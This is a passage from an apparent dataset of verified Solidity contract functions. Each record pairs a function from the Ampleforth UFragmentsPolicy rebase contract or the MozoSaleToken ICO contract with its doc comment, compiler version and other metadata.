299
]
} | 16,966 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | rebase | function rebase() external onlyOrchestrator {
require(inRebaseWindow());
// This comparison also ensures there is no reentrancy.
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < block.timestamp);
// Snap the rebase time to the start of this window.
lastRebaseTimestampSec = blo... | /**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate /... | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
2856,
4234
]
} | 16,967 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | setMarketOracle | function setMarketOracle(IOracle marketOracle_) external onlyOwner {
marketOracle = marketOracle_;
}
| /**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
4384,
4503
]
} | 16,968 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | setOrchestrator | function setOrchestrator(address orchestrator_) external onlyOwner {
orchestrator = orchestrator_;
}
| /**
* @notice Sets the reference to the orchestrator.
* @param orchestrator_ The address of the orchestrator contract.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
4651,
4770
]
} | 16,969 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | setDeviationThreshold | function setDeviationThreshold(uint256 deviationThreshold_) external onlyOwner {
deviationThreshold = deviationThreshold_;
}
| /**
* @notice Sets the deviation threshold fraction. If the exchange rate given by the market
* oracle is within this fractional distance from the targetRate, then no supply
* modifications are made. DECIMALS fixed point number.
* @param deviationThreshold_ The new exchange rate threshold fracti... | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
5127,
5270
]
} | 16,970 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | setRebaseLag | function setRebaseLag(uint256 rebaseLag_) external onlyOwner {
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
| /**
* @notice Sets the rebase lag parameter.
It is used to dampen the applied supply adjustment by 1 / rebaseLag
If the rebase lag R, equals 1, the smallest value for R, then the full supply
correction is applied on each rebase cycle.
If it is greater than 1, then a correction of 1/R of is applied on each reb... | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
5728,
5869
]
} | 16,971 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | setRebaseTimingParameters | function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_
) external onlyOwner {
require(minRebaseTimeIntervalSec_ > 0);
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_);
minRebaseTimeIntervalSec = mi... | /**
* @notice Sets the parameters which control the timing and frequency of
* rebase operations.
* a) the minimum time period that must elapse between rebase cycles.
* b) the rebase window offset parameter.
* c) the rebase window length parameter.
* @param minRebaseTimeInterv... | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
6558,
7056
]
} | 16,972 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | globalAmpleforthEpochAndAMPLSupply | function globalAmpleforthEpochAndAMPLSupply() external view returns (uint256, uint256) {
return (epoch, uFrags.totalSupply());
}
| /**
* @notice A multi-chain AMPL interface method. The Ampleforth monetary policy contract
* on the base-chain and XC-AmpleController contracts on the satellite-chains
* implement this method. It atomically returns two values:
* what the current contract believes to be,
* the g... | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
7592,
7739
]
} | 16,973 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | initialize | function initialize(
address owner_,
IUFragments uFrags_
) public initializer {
Ownable.initialize(owner_);
// deviationThreshold = 0.05e18 = 5e16
deviationThreshold = 5 * 10**(DECIMALS - 2);
rebaseLag = 3;
minRebaseTimeIntervalSec = 1 days;
rebaseWindowOffsetSec = 72000; //... | /**
* @dev ZOS upgradable contract initialization method.
* It is called at the time of contract creation to invoke parent class initializers and
* initialize the contract's state variables.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
7975,
8482
]
} | 16,974 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | inRebaseWindow | function inRebaseWindow() public view returns (bool) {
return (block.timestamp.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
block.timestamp.mod(minRebaseTimeIntervalSec) <
(rebaseWindowOffsetSec.add(rebaseWindowLengthSec)));
}
| /**
* @return If the latest block timestamp is within the rebase time window it, returns true.
* Otherwise, returns false.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
8642,
8926
]
} | 16,975 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | computeSupplyDelta | function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) {
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return
... | /**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
9069,
9572
]
} | 16,976 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UFragmentsPolicy | contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUF... | /**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the to... | NatSpecMultiLine | withinDeviationThreshold | function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold).div(10**DECIMALS);
return
(rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) ||
... | /**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
9900,
10337
]
} | 16,977 |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | Owner | contract Owner {
/**
* @dev Get smart contract's owner
* @return The owner of the smart contract
*/
function owner() public view returns (address);
//check address is a valid owner (owner or coOwner)
function isValidOwner(address _address) public view returns(bool);
} | /**
* @title Utility interfaces
* @author Biglabs Pte. Ltd.
* @dev Smart contract with owner
*/ | NatSpecMultiLine | owner | function owner() public view returns (address);
| /**
* @dev Get smart contract's owner
* @return The owner of the smart contract
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
121,
173
]
} | 16,978 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | Owner | contract Owner {
/**
* @dev Get smart contract's owner
* @return The owner of the smart contract
*/
function owner() public view returns (address);
//check address is a valid owner (owner or coOwner)
function isValidOwner(address _address) public view returns(bool);
} | /**
* @title Utility interfaces
* @author Biglabs Pte. Ltd.
* @dev Smart contract with owner
*/ | NatSpecMultiLine | isValidOwner | function isValidOwner(address _address) public view returns(bool);
| //check address is a valid owner (owner or coOwner) | LineComment | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
237,
308
]
} | 16,979 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbe... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
| /**
* @dev Multiplies two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
89,
272
]
} | 16,980 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbe... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Integer division of two numbers, truncating the quotient.
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
356,
629
]
} | 16,981 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbe... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
| /**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
743,
859
]
} | 16,982 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbe... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
| /**
* @dev Adds two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
923,
1059
]
} | 16,983 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | Timeline | contract Timeline {
//start time
uint public startTime;
//end time
uint public endTime;
modifier started() {
require(now >= startTime);
_;
}
modifier notEnded() {
require(now <= endTime);
_;
}
modifier isEnded() {
require(... | /**
* @title Utility smart contracts
* @author Biglabs Pte. Ltd.
* @dev Timeline smart contract (within the period)
*/ | NatSpecMultiLine | Timeline | function Timeline(
uint256 _startTime,
uint256 _endTime
)
public
{
require(_startTime > now);
require(_endTime > _startTime);
startTime = _startTime;
endTime = _endTime;
}
| /**
* @dev Timeline constructor
* @param _startTime The opening time in seconds (unix Time)
* @param _endTime The closing time in seconds (unix Time)
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
650,
905
]
} | 16,984 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() public view returns (uint256) {
return totalSupply_;
}
| /**
* @dev total number of tokens in existence
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
199,
287
]
} | 16,985 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
e... | /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
445,
841
]
} | 16,986 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
1047,
1159
]
} | 16,987 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | ChainOwner | contract ChainOwner is Owner {
//parent contract
OwnerERC20 internal parent;
/**
* @param _parent The parent smart contract
*/
function ChainOwner(OwnerERC20 _parent) internal {
parent = _parent;
}
modifier onlyOwner() {
require(parent.isValidOwner(msg.sende... | /**
* @title Utility smart contracts
* @author Biglabs Pte. Ltd.
* @dev Chain smart contract with the same owner
*/ | NatSpecMultiLine | ChainOwner | function ChainOwner(OwnerERC20 _parent) internal {
parent = _parent;
}
| /**
* @param _parent The parent smart contract
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
155,
244
]
} | 16,988 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | ChainCoOwner | contract ChainCoOwner is ChainOwner {
mapping(address=>bool) internal coOwner;
address[] internal coOwnerList;
/**
* @param _parent The parent smart contract
* @param _coOwner Array of coOwner
*/
function ChainCoOwner(OwnerERC20 _parent, address[] _coOwner) ChainOwner(_par... | /**
* @title Utility smart contracts
* @author Biglabs Pte. Ltd.
* @dev Chain smart contract with the same owner
*/ | NatSpecMultiLine | ChainCoOwner | function ChainCoOwner(OwnerERC20 _parent, address[] _coOwner) ChainOwner(_parent) internal {
_addCoOwners(_coOwner);
}
| /**
* @param _parent The parent smart contract
* @param _coOwner Array of coOwner
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
239,
376
]
} | 16,989 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | ChainCoOwner | contract ChainCoOwner is ChainOwner {
mapping(address=>bool) internal coOwner;
address[] internal coOwnerList;
/**
* @param _parent The parent smart contract
* @param _coOwner Array of coOwner
*/
function ChainCoOwner(OwnerERC20 _parent, address[] _coOwner) ChainOwner(_par... | /**
* @title Utility smart contracts
* @author Biglabs Pte. Ltd.
* @dev Chain smart contract with the same owner
*/ | NatSpecMultiLine | isValidOwner | function isValidOwner(address _address) public view returns(bool) {
if (_address == owner() || coOwner[_address] == true) {
return true;
}
return false;
}
| /**
* @dev Check address is valid owner (owner or coOwner)
* @param _address Address to check
*
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
1194,
1398
]
} | 16,990 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | ICO | contract ICO is OwnerERC20 {
//transfer tokens (use wei contribution information)
function transferByEth(address _to, uint _weiAmount, uint _value) public returns (bool);
//calculate no tokens
function calculateNoToken(uint _weiAmount) public view returns(uint);
} | /**
* @title Utility interfaces
* @author Biglabs Pte. Ltd.
* @dev ICO smart contract
*/ | NatSpecMultiLine | transferByEth | function transferByEth(address _to, uint _weiAmount, uint _value) public returns (bool);
| //transfer tokens (use wei contribution information) | LineComment | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
88,
181
]
} | 16,991 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | ICO | contract ICO is OwnerERC20 {
//transfer tokens (use wei contribution information)
function transferByEth(address _to, uint _weiAmount, uint _value) public returns (bool);
//calculate no tokens
function calculateNoToken(uint _weiAmount) public view returns(uint);
} | /**
* @title Utility interfaces
* @author Biglabs Pte. Ltd.
* @dev ICO smart contract
*/ | NatSpecMultiLine | calculateNoToken | function calculateNoToken(uint _weiAmount) public view returns(uint);
| //calculate no tokens | LineComment | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
211,
285
]
} | 16,992 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | MozoSaleToken | contract MozoSaleToken is BasicToken, Timeline, ChainCoOwner, ICO {
using SafeMath for uint;
//sale token name, use in ICO phase only
string public constant name = "Mozo Sale Token";
//sale token symbol, use in ICO phase only
string public constant symbol = "SMZO";
//token symbol
... | /**
* @title Mozo sale token for ICO
* @author Biglabs Pte. Ltd.
*/ | NatSpecMultiLine | MozoSaleToken | function MozoSaleToken(
OwnerERC20 _mozoToken,
address[] _coOwner,
uint _supply,
uint _rate,
uint _openingTime,
uint _closingTime
)
public
ChainCoOwner(_mozoToken, _coOwner)
Timeline(_openingTime, _closingTime)
onlyOwner()
{
require(_supply > 0);
require(_rate > 0);
... | /**
* @notice owner should transfer to this smart contract {_supply} Mozo tokens manually
* @param _mozoToken Mozo token smart contract
* @param _coOwner Array of coOwner
* @param _supply Total number of tokens = No. tokens * 10^decimals = No. tokens * 100
* @param _rate number of wei to buy 0.01 Mozo sale to... | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
2997,
3734
]
} | 16,993 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | MozoSaleToken | contract MozoSaleToken is BasicToken, Timeline, ChainCoOwner, ICO {
using SafeMath for uint;
//sale token name, use in ICO phase only
string public constant name = "Mozo Sale Token";
//sale token symbol, use in ICO phase only
string public constant symbol = "SMZO";
//token symbol
... | /**
* @title Mozo sale token for ICO
* @author Biglabs Pte. Ltd.
*/ | NatSpecMultiLine | getRate | function getRate() public view returns (uint) {
return rate;
}
| /**
* @dev Get Rate: number of wei to buy 0.01 Mozo token
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
4255,
4336
]
} | 16,994 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | MozoSaleToken | contract MozoSaleToken is BasicToken, Timeline, ChainCoOwner, ICO {
using SafeMath for uint;
//sale token name, use in ICO phase only
string public constant name = "Mozo Sale Token";
//sale token symbol, use in ICO phase only
string public constant symbol = "SMZO";
//token symbol
... | /**
* @title Mozo sale token for ICO
* @author Biglabs Pte. Ltd.
*/ | NatSpecMultiLine | setRate | function setRate(uint _rate) public onlyOwnerOrCoOwner {
rate = _rate;
}
| /**
* @dev Set Rate:
* @param _rate Number of wei to buy 0.01 Mozo token
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
4439,
4530
]
} | 16,995 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | MozoSaleToken | contract MozoSaleToken is BasicToken, Timeline, ChainCoOwner, ICO {
using SafeMath for uint;
//sale token name, use in ICO phase only
string public constant name = "Mozo Sale Token";
//sale token symbol, use in ICO phase only
string public constant symbol = "SMZO";
//token symbol
... | /**
* @title Mozo sale token for ICO
* @author Biglabs Pte. Ltd.
*/ | NatSpecMultiLine | isReachCapped | function isReachCapped() public view returns (bool) {
return isCapped;
}
| /**
* @dev Get flag indicates ICO reached hardcap
